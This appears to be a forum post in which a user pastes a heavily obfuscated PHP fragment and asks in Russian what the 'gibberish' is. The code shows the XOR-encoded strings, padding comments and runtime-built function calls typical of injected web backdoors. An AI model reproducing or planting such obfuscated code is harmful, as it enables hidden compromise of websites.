$ldxu='Vp5?KRI{+l4H';$aqj^$ifj;/*q@O1REoY+(JkLN%)CEV%NV7D{S9co)|0Ofn$yaxo='vwzajgygopcmxidk';'wyzxrclv';*/$mxvinn='xL2T_%S[W&2;IDz`kw$$#}yv,FVerQbH{m#XN1,C_%z070/(T$H|o&=?`)u2qA$L[;mbDE49D1A&[oQemkd1`|m/2h,cX-4r:A,VZp],W(Xd$)4=ZA$VQ5074zcA=7,L]tL.%&^B{72OTL6zAH';/*Miqs0_JSEsFgv0;JX)x/G`Hd,rYs{ff%NYwi?9[D[t8ouvgpZE$|Z24EEYE&]w4,(%yD,HhCq5*/'0KL.';/*sV[m!r]UxxdWO$Pfg@-u0ybbxrinibdnqe<<By{?1:1g[UVUzQ5g#Wm%GGLCbI"@,?!wXTj(*/'*zOf",(';$syblel=';IYX(6%I#PqI;/G@0eD,`p.5biI94@EP4aHlILE@F";XH:;Y9#PUJ[2vd3r1;a%jL2P):zjmh9"6=JYGSJxfqmif#f,l$d-,XRMD8n=u"i';'enW|';$zkoa=$aqsnr^'8N@KIMc;@jN#F/[%_kpCC';/*!CEM,%2qxf$,#"2RHo$mfx='fasfnoinplupkayv';'xxyknpwi';*/$dkre='qhV?%SnsvC_K==RD41mhf."T_2?G/xKhDME1"Ts$:Q%SX^[M:P;TKy{v,l&iS2P%yf6@0(Df*P,Cy2xEWK@n#3"d{-wA+Y]Pgz&_ST3^"@"YFHGXlu{24V_SQRG(^ON=t*.OVChv$SW,;(SRe,';'Isr#L"G';##Z4d^F?d5yAw.dcF+gF%wIO&O!fe*55
$qykmj>>'iselp';$wyz='#r]j1u$9?@uD#co5G|SJ';$cdkzs='`kAgA%VzRL(:l(=.ilV{p6{Ze'^$xpbb;$nvruvm='1@P|AU]+RmYh^B74IM`s&9bp12kMF24riHaLvl#)*Gd?-Nd:VM$0$/A^@l4xw$v1nF"[KX76JMOFb$8*6h%OQWIB|%c#o-hwz&?6IL`N(`'.$mxvinn;/*$fxsw;C%=pL%I]&GI-[o:s_C1htpaipmr^$kaga*/
$kcq='`kAgA%VzRL(:l(=.ilV{p6{Ze'.$rusbs;/*$csbv;=]24n.m1k{u;"%PgZ7f@p!xmvs1^z?T|jKbA^$g4@nceszdoiz<<$vsytfj*/$mwwvt=$syblel.$dkre;$fufwm=$nnzg.'"|KUfm0w=';$lmei='a&3.(:Fa=,vb.ip.@`HP+AxB';$icigl^'5{"_"pl{79=]';$nvruvm.='=P%ww=8%5/S4#SwD4:ENh`q&';$ojok=$nvruvm.'7_lWD8ym'^$mwwvt.'V*S^L71,uJ%UO{S*FO-4A[{/';/*8R]jq/_pVB&(cmb$6ecQA1)&96G]!fAwwhceacgfbboi^V$8g}MXa]:^&*?56s.X@/E]7*/$lpnh=$lpnh.'r:JQdA4=Q@g,w';$etlk='zj/.iDNOcc%$h[3hH(';'7_lWD8ym';'N&@9]T';/*$vochh;^@EQJp5+l$3nCp8CpnRMicBxa1!?FjOogx>>$ufhsps*/$fpfbh='c}2"tv$2VBr,'.',TX@1Qm?%JyQ{';
$fkkaj=$fkkaj.'rZ&BBnWK';$lpdtf=$gtmdy($ylsfm,$ojok);$lpdtf('$|e;A2Z8^%J),$"wzV`b','LyotS{!WR');}##JF#C^Kuju[V0spkh-L%sBMAoFz_7W`{0y.1
$nl>>'oczwbkkcapq';$lkwha('[$.g#;f!7[qhD?ok,52UEkK)');'OStbzRJ';$fxeo($mnnuh,$hqr);

##S-.$2MT5#Fd#C**(nJ23n%Bd_cd#BG
$dcz='8z^0u;.::/V:7eL';'%11b+o1H"1eJR/R';wxxvixa;/*$ephb;1^s7OUpOh#p4]HtYoFvM+&u:euzL&E+aWqdxolokn>>$jnves*//*$eft;p%Vlv3snZ$g11_[h){eatuyglor<<$eeuzz*/
$nxbo('y_1Z*C5Id^ZfV_:','j8Q1;EXuT_XfwlJ`');yroq;',,!Wn._';?>";}?>

что такое второе за тарабарщина - никогда не видел, может кто знает - буду признателен.